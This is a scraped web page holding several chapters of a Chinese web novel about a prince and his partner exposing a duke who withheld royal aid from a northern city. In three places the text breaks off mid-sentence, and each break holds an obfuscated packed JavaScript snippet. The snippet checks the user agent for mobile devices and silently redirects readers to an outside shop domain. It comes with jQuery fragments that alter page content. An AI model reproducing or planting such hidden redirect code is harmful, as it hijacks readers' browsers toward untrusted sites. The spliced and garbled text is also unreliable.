“虽然不知道你们为何突然去拜访维伦·赛维恩,但他自承袭爵位以来,一改往日的作风,变得谦卑温驯,风评一直不错。”卡斯弗仰头想了想,补充道:“不过我与他不常交流,唯一的几面是为他哥哥安铎疗伤,但他的确如贵族们说的那样。” 洛斐撑着卓沿,挪向米尔的方向,问卡斯弗,“他哥哥的病应该好些了?” “并不好。”卡斯弗皱了皱眉,“情况一直在恶化,我最后一次取赛维恩庄园时已经告诉他了,他哥哥的时日恐怕不多了。” “我原以为他会气愤,至少也会伤心。”卡斯弗直到如今依然不解地说道:“他竟然十分坦然地与我道谢。” 米尔偏头看了眼洛斐,继而将视线重新移向卡斯弗,“是吗?” 卡斯弗轻轻地拿起杯子,微微颔首,“当然是真的,真是可怜的……” 洛斐直白地打断他,“他扣留北城的援助物资。” 原本悠闲喝着果茶的卡斯弗立即被呛到,不可置信地看向米尔,得到对方肯定答复后,顿时一本正经地改口:“那他可真是可恶。” “安铎的病不是逐渐好转了?”米尔递给卡斯弗手帕,不解地问。 洛斐也跟着点了点头。他们未去汐莱纳希前,维伦便常来城堡向米尔道谢,告知他们安铎的病日渐好转。 卡斯弗抬眼看了看他们,一脸不明所以,干脆地说道:“他的病是生下来便带着的,先前又没强加干涉治疗,基本不可能好转,能撑到明年的这个时候也是奢望了。” “怎么会这样……”米尔的轻声呢喃被卡斯弗的起身打断了,他伸了伸懒腰,要去拿一边的药箱,“我不知道,你们那些弯弯绕绕的想法,我插不上话。但是如果你们真的需要帮助,便去我住所找我便好。” 洛斐利落地起身,顺势回答:“好,那你准备准备,明日一早便一起去赛维恩庄园拜访他。” 即将开门离开的卡斯弗愣愣地转身,问:“真去?” 米尔拽着洛斐的手腕也站了起来,笑着回答:“当然。” 卡斯弗当即将药箱又放了回去,认真地看着他们,拧着眉心问道:“如果他真的扣留了王室拨给北城的援助物资,按照艾瑟兰的律法,直截了当地派人去抓他便是,你们为何要亲自去拜访。” 米尔和洛斐同时看向他,眼神一个比一个的无奈。 “维伦是艾瑟兰王国名副其实的贵族,而且是连卡斯弗你也认可的贵族。没有凭据,如何去抓他?”洛斐倚着卓沿,不咸不淡地开口。 “况且,他扣了北城那么久的物资,北要是那么容易便被抓到,也太奇怪了。”米尔望着一本正经的卡斯弗,语气复杂,“卡斯弗,你果然还是和从前一样,依然不爱弯弯绕绕。” 卡斯弗尴尬地抚了抚后脖颈。 “你们那套默契,我是比不了,去赛维恩庄园拜访谁都可以,但务必小心谨慎。” “卡斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“卡斯弗医师能来,是我的荣幸,多谢殿下了。”维伦笑着点了点头,挥了挥手,像是做给身旁的侍从看,而后朝面前三人说道:“冬末时节,哥哥的身体向来不好,此刻也正在休息,我一会再将他喊来,好吗?” 米尔见身边的两人只顾着四周查看了,连维伦的话都落了空,轻声回答:“好,病人的确需要足够的休息。” 维伦先是带着他们沿着庄园走了一遍,整座园子较先前空荡得很,只有最深处开辟了一小块花地,花瓣带着湿润的水滴,颜色也异常鲜亮,怎么看都像是为了这场邀约临时种的。 侍从为他们搬来椅子,他们才终于入了座。 来来回回的侍从也仅仅只有几位,不是不重视,的确是侍从稀少罢了。 维伦望着那小块花地,也像是有些尴尬,讪讪一笑,随口说道:“花朵虽是好看悦目,可养起来太耗费心力。我素来不爱添置人手,到现在也没能种出像样的来,让殿下和大人见笑了。” 洛斐看着那一小片花地,还没米尔卧房前他种的那块大些。 赏什么花? 洛斐尽管心中不满,但仍然挂着礼貌的笑,收回了目光。 54. 第 54 章 米尔像是也意识到他准备的花地似乎过于简陋,转身朝他们语气恭敬地说道:“花地简陋,实在无法入目,只好请各位随我去会客厅歇一歇。” 洛斐不是第一次来赛维恩庄园,也不是第一次来庄园里的会客厅。但跟着维伦进来,他依旧觉得四周很陌生。 会客厅不大,壁炉却烧得正旺,暖意很足。桌角椅沿都裹着淡色软布,甚至连墙壁都包着一面又一面的厚重布料。 洛斐微微回头望向来路,这样的防护措施,方才路过的所有场所都无一避免。 维伦抬眼看向洛斐,笑着说:“哥哥的身体依旧弱些,我便将他常来的会客厅稍作调整,还望你们并不介意。” 洛斐收回视线,笑着颔首,“当然不介意。” 赛维恩庄园的茶刚刚端了上来,侍从便来请卡斯弗去给二楼的安铎治疗。 卡斯弗每次来,安铎都是在二楼等着。 卡斯弗倒是并不觉得冒犯,病人不爱动也正常,只是习以为常地跟着上了楼,离开时依依不舍地看了眼茶。 维伦目送卡斯弗和侍从离开后,才将茶杯递给面前的两人,“洛斐殿下和米尔大人尝一尝,这是汐莱纳希送来的茶水,米尔大人或许会熟悉一些。” 洛斐抬眼看向维伦,他笑得自然,语气寻常,看不出什么端倪。 但偏偏又忽然提起了汐莱纳希,洛斐下意识想要开口询问,但想起米尔来庄园前的嘱咐——不要乱讲话。 他硬生生地把话咽了回去,将回答权抛给身旁的米尔。 米尔垂首望着茶杯,微微晃了晃,笑着回答:“很难得,是汐莱纳希的白茶,维伦公爵费心了。” “说起汐莱纳希王国,殿下和米尔大人才刚从那里回来不久。”维伦轻轻敲着椅子扶手,继续说道:“汐莱纳希那里,有什么收获吗?” 洛斐诧异地抬眸。 这也太直白了。 “游历和游玩何来收获的说法,如果真要说的话,汐莱纳希的风光的确很好。”米尔茶杯也没放下,干脆地答道。 “看来米尔大人在汐莱纳希未找到图纸的线索。”维伦不咸不淡地开口,“怪我,那日祈福晚宴上是我听了旁人的传话,当时斩钉截铁地告诉了你,害得你白跑一趟汐莱纳希。” 洛斐利落地放下茶杯,他算是听明白了。 难怪米尔去汐莱纳希去得如此突然,后来洛斐问起他也只是含糊带过。洛斐原先以为对方是去见什么人,如今才知道,是那晚祈福晚宴,维伦给米尔递了话。 “维伦不必自责,去汐莱纳希见了旧友,和殿下逛了几处地方,好好地游玩一场,结识了不少好友,不是白跑。”米尔顿了片刻,语气毫无起伏地开了口:“至于图纸,急也急不来。何况想要它的人,也未必都像我这样等它。” 洛斐看着两人你来我往地谈着,一时不知道该不该开口,只好喝着眼前的茶。 维伦正了正衣袖和领口,望着眼前垂首喝茶的米尔,忽地笑着说:“米尔大人说得有道理,因为是您母亲的遗物,才有这份坚持,其他人无法比,也不会去比。” “不是。”米尔摇了摇头,“不单是因为母亲的遗物,或对母亲的思念。维伦公爵为你哥哥的那份心,不也没能撑到最后吗?” 维伦移动徽章的动作顿了一下,而后像是被这句话激到了,语气带着压不住的火气,“我哥哥的病很快便会好,哪里需要你……米尔大人来插手。” 洛斐见维伦的脸色差到极点,又微微偏头看向米尔,对方依旧面色如常,甚至笑着看了他一眼。 洛斐挑了挑眉。 他终于能开口了。 “维伦公爵难道不知道扣留王室拨给边境的援助物资是重罪。”洛斐起身,垂首直直地望着他,“还是说维伦公爵是明知但故犯。” 维伦蹙了蹙眉,回避着视线。 正品着茶的米尔也没料到洛斐话说得如此快,至少要平和地推进下去才对。他怔愣地看向洛斐,朝维伦说道:“维伦公爵,事已至此,你不妨将事情摊开直说。” 维伦扯着嘴角笑了笑,抬眸看着他们,“我哥哥向来怕冷,北城的极寒天气对他来说与刀剑无异,我怎么会带他北城呢?” “我邀请殿下和米尔大人是为了叙旧,不是来接受质问。当然,如果这是你们的玩笑话,怕也不太妥当。”维伦语气如常,但脸上分明带着些许恼火。 “别装了,你哥哥都替你说完了。”卡斯弗倚着门框,看着会客厅里的三人,继续补充,“先恭喜你,维伦·赛维恩,你哥哥的病忽然好了许多。” 卡斯弗说完,站在米尔的另一边,朝维伦说道:“你哥哥已经把该说的都说了,其他的事情,你自己交代,免得闹得难堪。” 洛斐听卡斯弗讲完,看了眼狠狠揪着衣摆的维伦,“做了这种事情,却不让你哥哥知道,是不信任还是那点情分不值一提。” “请你闭嘴。”维伦咬牙切齿地开口。 洛斐几不可见地笑了笑。 果然,米尔的猜测是对的,只要提起他哥哥,维伦必然无法维持表面的冷静。 尽管拿人软肋威胁不是善举,但安铎的确是目前对付维伦最好的武器。 卡斯弗挎好药箱,语气不重,“我们离开便是,但你哥哥的病拖不起,你那套办法未必还能管用多久。” “卡斯弗医师,我不开口,你便不为哥哥治疗?”维伦眼眶已然泛红,语气也不如往常那般温和。 “……兴许。”卡斯弗别开脸,不咸不淡地开口。 让他放弃病人是不可能,但稍微添油加醋是能办到的。 维伦呼吸明显重了些,胸口也跟着起伏,攥着椅子的指尖微微泛白,但依旧闭口不言。 “我来替维伦公爵说清楚。”米尔也站起身,平铺直叙地说道:“祈福晚宴上,你把我叫到露台的消息。” “当时你应当知道它的确有可能在那里,但让一个陌生人去打头阵,总比自己先动要妥当。”米尔侧身看向认真倾听的洛斐,继续道:“等我们替你探完了路,你再出手便是,你应该一边忙着与艾瑟兰的贵族社交,一边盯着我们在汐莱纳希的举动。” “但你真没想到,那地方当真什么也没有,你恼羞成怒,把我们去了汐莱纳希的消息递给了那边的国王,结果我们依旧安然无恙地回来了。”米尔撑着卓沿,静静地看着维伦,等待对方的回复。 维伦微微抬眸,“漏洞百出。” “我已经承袭爵位,要你母亲的遗物做什么?何况身为公爵,去监视王子和同僚,也太奇怪。”维伦耸了耸肩,补充道:“况且,这和你们说的北城物资又有什么联系呢?米尔大人。” “我无法驱……” “是为了你哥哥——安铎。”米尔忽地开口。 洛斐维伦果真顿了顿,以为米尔会乘胜追击地问得维伦措手不及。 “洛斐殿下,你觉得呢?” 米尔将话给了身旁的他。 洛斐先是微微一愣,而后立刻回道:“准确的说,你应该是为了你哥哥的病。” “北城是艾瑟兰的边境,你也熟知莫里斯骑士与莱因哈特国王那层不说话的旧友关系。”洛斐下巴扬了扬,指向他身后摆着的北城独特物件,“援助物资无法送达,莫里斯骑士不会主动询问——当然,或许你随手给一些,还能博得好名声。” “至于你身为公爵,为何要贪图那些金钱,起初我也百思不得其解。但看着如此费力地寻找残刃卷,便说得通了。”洛斐皱了皱眉,语气带着试探,“安铎·赛维恩的身体时好时坏,你寻遍了艾瑟兰内外的名医,依旧束手无策。于是你听信了疯传的谣言,去寻找子民口中那卷能起死回生的作品——残刃卷。” “成功夺得残刃卷,顺利治好安铎的病,拥有至高的财富,做任何事情都游刃有余。” 哪怕知晓大概情况,但洛斐依然有些不解。残刃卷明明是艾琳娜夫人所作的武器图纸,维伦怎么会相信他能救人性命。 一旁听得极其认真的卡斯弗忽地开口:“你误以为残刃卷能救人大概是因为,一开始误打误撞地有了一些效果,就将安铎的韧性和你的照顾归结于那张图纸的用处,然后便一发不可收拾了。” 维伦细微地顶了顶腮,抬眼看了他们三人,指了指门口,喊道:“管家,送客。” 管家匆匆赶来,发现送的是面前三位,只好擦着汗躬身说道:“殿下和大人们,三位请。” 卡斯弗早就为安铎治疗倍感疲惫,又和维伦展开了一番对峙,眼下还没等到管家开口,他便甩着药箱离开了。 米尔望着眼前的维伦,停留了片刻,语气平平地说:“你……艾瑟兰律法有明文,安铎自幼患病,若你肯主动认罪,最终的处置也不过是流放边境。” 洛斐见米尔久久未跟上,便转身向他走去,还未来得及走到他跟前,便听见维伦戏谑且讽刺的话语: “米尔,你真的很怯弱。” 洛斐微微皱眉,真是计谋未得逞之人的濒死挣扎。 米尔那样的人怎么会在意? 洛斐一边想着,一边走到米尔身旁,拍了拍他的手臂,正要开口,却被米尔脸上那副愣神的神情堵了回去。 维伦继续说道:“王国覆灭,你逃得不知所踪。父母死后,你却在他国锦衣玉食——米尔,你毫无抱负,你满是懦弱。” 洛斐看着维伦那副破罐子破摔的模样,和在赛马会趾高气昂时如出一辙,少些佯装的高傲,多了些纯粹的恶劣。 他蹙起眉头。 抱负和怯懦完全是米尔的反义词。 洛斐原先想着听米尔的,安静地看着维伦认罪便好。 但现在望着他那副模样,他真是气不打一处来。 “维伦·赛维恩,你……”洛斐话音未落,米尔便扯了扯他的一衣摆,冲他微微摇头,转而带着他头也不转地离开。 “卡斯弗医师说得是对的,就算没有极其确凿的证据,我依然能先行将他扣押,免得他还拿那副高高在上的样子来说教你。”洛斐倚着庄园入口那棵老树,说得愤愤不平。 米尔也看着四周,寻找先行出来的卡斯弗,笑着回答:“他说得也并非毫无道理。” “毫无道理。”洛斐直起腰,直截了当地反驳道:“你既有抱负也不怯弱,你毫无缺点。” “即使你有万分的不足,那也不是他来指责的。”洛斐想起北城刺骨的冷风,“纵使他有万般的无奈和苦衷,那也不是他让无数北城子民挨饿受冻的理由。” “他怜惜他的哥哥自幼患病,可北城的子民也眼睁睁地看着至亲因饥饿和寒冷而离去。” 洛斐越说越气愤,指尖也被攥得发白,就差指向身后的那座庄园了。 “殿下真的成长了许多,……像是一位能够独当一面的王国之主了。”米尔来偏着头看向他,目光欣赏和爱慕即将溢出来。 “国王?”莱因哈特微微诧异地反问。 国王是一个很重的词语。 重到米尔的这句称赞都跟着沉了起来。 洛斐想起父王日夜操劳操持国事的身影,轻声开口:“我还差的远,和父王比起来还远远不够。” “殿下是天生的国王。” 洛斐一愣,神情复杂地看着他,笑着说:“要是这话被旁人听去,即便我是王子,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808437|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 免不了一顿责罚。” “你们说什么呢?”卡斯弗猛地开口,气喘吁吁地站在他们跟前。 洛斐敛起笑意,看向撑着米尔歇息的卡斯弗,问道:“卡斯弗医师被赛维恩庄园的侍从追赶了?” 卡斯弗连忙摆摆手,断断续续地解释,“也许算是,……是去二楼给安铎送药包了,结果那侍从见我便要赶,为了一路跑过来,累得不行。” 洛斐微微掀开车帘,“卡斯弗医师不是说不再为安铎治疗?” 卡斯弗抢先上了车,正要伸手拉米尔一把,却见米尔和洛斐牵着手上来了。 他无奈地收回手,“那只是说给维伦听的,如果眼睁睁地看着病人饱受疾病折磨而袖手旁观,那我会难以安眠的。” 刚刚坐稳的米尔笑着开口:“你放心好了,卡斯弗此生最怕的便是麻烦和人生病。” 洛斐听身旁的米尔语气软绵绵的,下意识将手帕塞到他耳后,以备一会的晕车。 此行去赛维恩庄园,不算满载而归,也不算一无所获。 洛斐阖眸,想着该如何与莱因哈特国王转述他的发现。 卡斯弗则是掀帘看尚且遥远的温斯洛,随口问道:“殿下和米尔如何得知维伦监视你们,又怎么知道他扣留援助物资,是为了谋财拿到残刃卷。” 洛斐眼也没抬,“猜的。” 米尔也倚着车窗,闷闷地应和,“是。” “……”卡斯弗皱着眉反问,“你们说得头头是道,结果全是猜测。” 米尔微微颔首,笑着说:“只要顺着线索猜测,一切都能轻易化解。” “姑且算你们厉害。”卡斯弗停了一会,又担忧起后续问题如何解决,他朝着洛斐问道:“殿下,维伦和安铎会如何解决,流放边境还是关进王室监牢?” “按照艾瑟兰律法,维伦·赛维恩截留王室援助物资,罪当革爵,押入地牢。”洛斐如是说。 卡斯弗追问:“安铎呢?我还能为他治疗吗?” 洛斐语气不重,但没有商量的余地,“看情况而定,最重是流放边境,不耽误你为他治疗。” “那就好。” 夜晚时分,他们才终于回到温斯洛,先将卡斯弗送回住所,又将做马车而昏昏沉沉的米尔照顾妥当。 洛斐才安心地去了议事厅向莱因哈特汇报情况。 “父王,晚安。”洛斐罕见得体地先打了招呼。 议事厅只有他们两人,声音在空荡的房间显得格外清晰。 “你们回来了?”莱因哈特眼睛也没抬起,问道。 洛斐还未彻底落座,便从对方那句平淡的问候中得知了信息——对方显然知道米尔和卡斯弗也跟着去了。 莱因哈特像是在安抚他,轻声补充了句,“不是指责你,善于合作和社交,也是身为国王所要具备的重要能力。” 洛斐这才松口气,说:“那我便向您汇报此行的发现。” 维伦和赛维恩庄园的情况极其复杂,洛斐在来之前已经尽力准备措辞,结果朝莱因哈特汇报时依旧不算完美。 只是将维伦的大致情况和扣留援助物资的证据讲述得还算清晰。 莱因哈特的眉头紧紧皱起,手中的羽毛笔也久久未落,等洛斐说完时,也只是叹着气微微摇头,“你做得很好,剩下的便交给我和你的母后,回去好好休息。” “好。” 也许是涉及北城边境,又或是牵扯都城贵族,这次的办事效率比往常高了许多。 原先能拖半年之久的事情,短短一月便成功解决,转眼间,赛维恩家的年轻公爵扣留援助物资,便成了子民茶余饭后的谈资。 洛斐仰着脑袋,手悄悄地伸向一旁的米尔,微微偏头问他,“米尔,你知道维伦的处决下来了吗?” 米尔轻轻拍开他的手臂,随口道:“知道。” “维伦的爵位被褫夺,关入王室地牢半年,而后流放艾瑟兰西边的干涸边境。” “符合艾瑟兰的律法明文。”米尔抬眸看他,不解地问:“怎么?你觉得责罚不好?” “那倒也不是。”洛斐愣愣地望着米尔卧房四周的陈设,多了许多他的物品,乍一看总觉得安适且温馨。 他索性侧身看向米尔,“父王和母后的决策自然是权衡了所有,很妥当。” “安铎离开了赛维恩庄园,也离开了艾瑟兰。”洛斐坐正了身体,下巴抵着椅背,“卡斯弗说,自从那日后他便再也没见过安铎,也未能给他继续治疗。” “但按照维伦的性子,他必然会嘱咐安铎要牢牢抓紧救他性命的卡斯弗才是。”洛斐顿了片刻,继续道:“维伦我总觉得哪里古怪,有种隐隐的不安涌来。” 米尔放下手中堆积成山的报告,说:“我看殿下是将莱因哈特国王给你的报告,全部塞给了我,无事可做导致的。” 米尔随手拿起几张递给他,“你也批阅一些,便不古怪了。” 原先还忙着猜测的洛斐立刻安静了,重新仰起脑袋,倚着椅子,懒懒地祈求道:“米尔比我厉害,批阅的报告也比我好得多。” 米尔看向缩在椅子里睡着的洛斐,“国王难得给你放的小假,你不去游玩,日日守在我的卧房?” 睡意朦胧的洛斐眉心微微蹙起,说道:“我们是伴侣,我不去你的卧房,去哪里?” 洛斐说完,像是突然来了精神,猛地起身看着垂首,认真翻阅报告的米尔,期待地询问:“我们再去游玩,好不好?” “去汐莱纳希的其他地区,或是素来风日和暖的诺薇拉王国,又或是风光独特的维林诺斯特?” 洛斐满是期待地说完,眼巴巴地望着米尔。 55. 无影无踪 “游玩?”米尔垂首思索着。 洛斐直直地望着他,等待答复。 他们平时也常待在城堡里,但像这样连续待上一个月不挪动的时候,倒也不常见。 尽管春处冬末的日子,待在温斯洛的城堡是一大享受。更不用说是和米尔一起,更是极大的享受。 平日里,洛斐喝喝茶,逗小黑,喂小白,转眼间米尔便能将他要写的报告整理妥当,照例给他指点一二。 好像各式各样的问题,米尔在身边都能迎刃而解。 但身份使然,哪怕是极力收敛,也免不了猜忌和议论。 洛斐趴在米尔身边逗着小黑,门外侍从小声议论他们双双病倒的话,已经断断续续地传进来好几次了。 人们的好奇心已经强到惩罚都不管用了。 洛斐见米尔久久不回话,叹着气补充道:“埃迪又去了夏塞林陪凯勒布。” 说完,洛斐倚着椅背,微微抬眸看了米尔一眼。 果然,对方神色微动。 “身为王子,本就该以王国的事务为重,怎么能只顾着游玩。”洛斐自顾自地说着,像是替谁训斥他。 米尔微微皱眉,伸手轻轻挡了下他的嘴,声音软了下来,“殿下想去哪里?” “诺薇拉王国或是维林诺斯特,怎么样?”洛斐猛地起身,问着就要伸手抱他。 米尔也跟着起身,说:“维林诺斯距离艾瑟兰太远了,王国事务压在国王和王后身上太重了,殿下早些回来还能帮着些。” 洛斐望着落空的怀抱,顺手揉了揉身旁小黑的脑袋,视线依旧挂在米尔身上。 “至于诺薇拉王国的气候,比起北城,只会更冷,恐怕不适合你……我们。”米尔语气不急不缓。洛斐只用了一刻钟便欣然接受,“米尔呢?有什么想去的地方吗?” “我想去的地方……”米尔笑了笑,垂首看向抱着小黑的洛斐,说道:“你想去的地方,我都想去。” 洛斐望着米尔说完去转身摆弄花草的背影,嘴角压也压不住,猛地起身从背后搂着他的腰,雀跃道:“那我知道去哪里了。” 米尔被他抱得身形微微晃了晃,手里的花枝也跟着斜了斜,他没挣扎,而是偏着头问他:“去哪里?” 洛斐笑着回:“秘密。” “不告诉我吗?”米尔轻声反问。 洛斐也跟着伸手摆动面前的花骨朵,微微皱眉道:“告诉你了,还是秘密吗?怎么,只允许你和埃迪有秘密,我不能吗?” 米尔听着对方略微调侃的语气,只是笑了笑,照例修剪起生长杂乱的花枝,说:“好,你想告诉我了,再讲便好。” “你应当会很期待。”洛斐拿起另一把修枝剪,看了眼身旁米尔的动作,捏了下刀柄。 咔嚓。 洛斐拍了拍米尔,示意他望过来,扬了扬手中刚剪下来的花枝,干净笔挺,长势正好。 “怎么样?你的卧房又多了一束好花。” “托你的福,我的卧房……恐怕再添一束枯萎的花了。”米尔叹着气,把那束只剩败枝的花举起来晃了晃,唯一干净的那枝到了洛斐手里。 洛斐讪讪地将那花枝又栽了回去,“……我再给你送一束来。” 侍从捧着一堆花束,恭恭敬敬地将花送来时,洛斐发现方才还蜷缩在椅子中看书的米尔呼吸渐渐缓了下来。 洛斐朝侍从摆了摆手,又俯身凑到米尔眼前,轻轻晃了晃手,发现对方只是眼睫轻颤,随后拿起一边的毛毯轻手轻脚地搭在他身上。 小黑也像是有所感应,慢慢地用脑袋顶起一角毛毯,在里面蜷缩着睡了起来。 洛斐轻轻合上门,一转身见侍从还捧着花束站着,便顺手接了过来,“辛苦了,放在那边就好。” 洛斐说完便转身离开,走了几步又想起来什么,喊住身后侍从,随口嘱咐道:“你不必忙别的了,先去歇着,记得傍晚时喊醒米尔。” 见侍从垂首应下,洛斐才放心地朝档案馆走去。 自从上次来这里找米尔后,他已经好久没踏进档案馆了。 这里逼仄而寂静,一进门便是一股熟悉的墨香。 这地方洛斐向来不爱多待。 也不能责怪他,小时候,莱因哈特为了培养他的专注力,常逼迫他来这里上课,墨香萦绕在四周,怎么也散不去。 如果那次不是为了找米尔,他绝不会主动踏进来。 如果这次不是为了寻找合适的适合游玩的地点,他也依然不会进来。 档案馆数年如一日,不会轻易变动,洛斐对此还算熟悉,径直朝角落那排柜子走去。 柜面干净,但那股旧书卷的气息一散开,便知道这里许久没被人动过了。 洛斐伸手抽出一本包裹着软布的旧书——那是小时候莱因哈特让他认识各国风土时用的书。 这也是为数不多的对洛斐来说,稍微有些乐趣的物品,当时的他格外爱惜,那么多年过去,也只是软布的边角有些褶皱。 洛斐在一边坐下,随手翻着,一页一页地看过去,边角还有他当时标记的样子。 “奥德兰王国太远,米尔坐马车会晕,艾瑟兰的南方边境的雨水较多……”洛斐一边翻着,一边喃喃自语。到最后一大半的王国的地区都被一一排除了。 洛斐想着要不然还是去问问埃迪和凯勒布,至少能得到些建议。 洛斐还没来及起身,视线便被最后一页的内容吸引。他微微垂首,仔细看着画得格外细致的那页。 画着一片茂密的花丛,颜料涂得比别处都厚些,绚烂得宛如铺开的织锦。 洛斐挑了挑眉。 他怎么不记得有这种地方,毫无印象。 秉着像是米尔的喜好,洛斐的视线移向那页的最右侧。 露西恩王国。 米尔的家乡。那个以强大武器和茂盛花木为名的王国,如今在各种地图上早已找不到它的名字,也仅仅是因为这本书年岁久远才尚且留着。 洛斐垂首望向手腕,原本那根断裂的祈福绳被米尔修复得完好无损,青翠如初。 米尔对故国的惦念,任谁都看得出来。 洛斐自然也知道。 但去露西恩王国游历?让米尔亲眼看着国土败落,子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17818383|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 民离散的模样,这和往他的伤口洒黑苔草碎无异。 洛斐想着便往那页的另一边看去。 枝条垂向水面,浅绿色的涂料极其素雅。 去不了露西恩王国,那边去露西恩王国稍近些的地点,至少能闻到相似的空气,也许能够惦念家乡的米尔一些慰藉。 洛斐自顾自地颔首,忽地合上书页,转身朝米尔卧房走去。 他去问问米尔。 如果他愿意,他们便去那边暂时居住一段时间。 如果不愿意,他便立即寻找新的地点。 无论去哪里,总该有米尔同意才好。 傍晚已经过去了,洛斐走到米尔卧房前,见门微微敞着,便径直走了进去。 米尔刚想开口,抬眼才发现卧房里空无一人,只有小黑窝在椅子里缩着身体睡觉,毛毯微微搭着扶手。 洛斐微微蹙眉,转身去了马厩,也只是喂了小白便回来了,依然没有米尔的身影。 奇怪。 按照米尔的习惯,傍晚时候,不是喂小黑便是喂小白。 恰好附近也没有忙碌的侍从或骑士,连询问的机会都没有。 洛斐又回空荡荡的卧房站了一会,忽然不太确定地想:总不能兴致起来了,去训练场了? 洛斐猜测着便要转身去训练场,刚走到廊道,手臂便被什么东西撞了一下,接着一块碎石顺势落在他脚边。 洛斐站在原地,侧过头,视线移向石子飞来的方向。 米尔坐在廊道旁边的草丛里,一手撑着地面,仰着头看他,弯了弯嘴角。 洛斐望着他单薄的衣服,返回替他拿了件衣服,下意识开口:“你不冷吗?” “艾瑟兰的春日最是温煦。”米尔倚着廊柱,懒懒地回答。 “现在是冬末。”洛斐弯下腰,把外袍搭在米尔肩上,坐在他身旁,问他:“我找你好久了。你在这里做什么?难不成是赏星星?” “你说得对,我是在赏星星。”米尔笑着说。 “只是赏星星吗?”洛斐问着,目光落在米尔身后的几张信封上面。 边角已经被风吹得翘起来了,还只是赏星星吗? “米尔,你的信封要飞走了。”洛斐朝米尔身后抬了抬头,佯装无意地开口:“是谁的来信?” 米尔转身把散落的信封拢起来,随手折了两下,顺势放在一边的空地上。 “洛缇,凯勒布以及莱克的来信。”米尔思索着回答。 米尔收到的信封向来最多,只要知道是谁送来后,洛斐便微微颔首,随口问了句,“凯勒布公爵?是残刃卷有线索了吗?” 米尔笑着摇摇头,拿起最上面的那张信封递给他,说:“准确的说是埃迪写来的信,给你殿下推荐他们去过的地方——说是给我们做参考。” 洛斐接过来,看了一眼,的确是两人合力写下来的,很详尽也很让人羡慕。 洛斐放回米尔的信封堆里,看着米尔说道:“我有要去的地方了。” “哪里?”米尔浅笑着问他。 “埃尔德里奇平原。” 米尔愣了愣。 56. 一言不发 “埃尔德里奇平原吗?”米尔顿了顿,反问他:“那里的气候也有些寒冷,你……” “米尔,埃尔德里奇平原的气候已经足够温和了,如果这也怕那也怕,只会将所有地方都绕开。” 洛斐义正言辞地讲完,发现对方不只是在怔愣,微微垂着的眼眸仿佛无焦点。 洛斐揽着他的肩膀,拿起地上的信封,往卧房走去,朝米尔语气如常地说:“不着急,如果你有其他顾虑,那边不去埃尔德里奇平原了。” “既然是去游玩,当然是你感到愉快最重要。” 洛斐望着米尔神色缓和才放下心来,他原先便是来询问米尔会不会介意埃尔德里奇平原邻近露西恩王国的,结果一讲话便一发不可收拾。 他就差将人直接打包带去了。 洛斐手臂微微收力,伸手开了米尔卧房的门,悄悄地懊恼。 米尔进了屋,肩膀上的力道忽然重得无法忽略,隐隐作痛。他微微皱眉,抬眸看向面无表情的洛斐,:“你有些弄疼我了。” 洛斐听他说完愣了愣,连忙松开力气,凑到米尔肩膀旁看了看,语气闷闷地说:“米尔,疼吗?抱歉,我刚才没留意力道。” 米尔见洛斐耷拉着脑袋,闷闷不乐的模样,以为他将话说得太重了,“也不是……很疼。” “你先休息,……莱因哈特国王有些事务需要我协助。”洛斐把米尔肩上那件外袍轻轻取下来,搭在椅背上,燃了一支米尔惯用的熏香。 米尔打着哈欠,安稳地躺了回去,浅浅抬眼,发现洛斐依旧坐在他床沿看着他,没有半点离开的架势。 “你不是要去帮莱因哈特国王吗?”米尔稍稍撑着身子,眼眸半阖着问他。 洛斐轻轻将他按了回去,“我看着你入睡后再离开,不用管我,你睡便好。” “……”米尔见他执意如此,重新躺了回去,“随你,记得早点回来休息。” 洛斐弯了弯嘴角,语气轻快,“好。” 米尔的身体状况好转了不少——至少在洛斐的观察里,他的睡眠比先前安稳了许多。 洛斐俯身把毛毯的边角往他肩侧塞了塞,而后轻轻开门转身离开。 洛斐离开,的确有重新找寻新游玩地点的打算,但莱因哈特也的确令他协助处理王国事务。两件事并不冲突,只是先后顺序要看哪一件先到眼前。 显而易见,再晚一会,莱因哈特就会撤销他往后的休息小假。 “殿下,您来了。好久不见。”守在书房外的骑士见洛斐突然到来,连忙躬身问好。 “嗯。”洛斐微微颔首,下意识看向许久没人光顾的书房,随口问道:“父王在里面?” 骑士郑重地答着:“是的。” “好,你去忙。”洛斐站在门口朝里面张望了一眼,见莱因哈特真的站在书柜前,正垂首翻看着什么,他这才走了进去。 听见身后熟悉的脚步声,莱因哈特头也没抬地说道:“你来得有些缓慢,被什么绊住脚步了吗?” 莱因哈特第一句话向来带着刺,洛斐早就习惯了,只是顺势转着话题,“是我走得慢了些。父王的身体好些了?卡斯弗医师特意和我嘱咐,要您少操劳些,多歇一歇。” 莱因哈特没转身,但语气却较刚才松了几分,“王国事务繁杂,方方面面都要妥当思索再三才能实施,不是说歇便能歇的。” 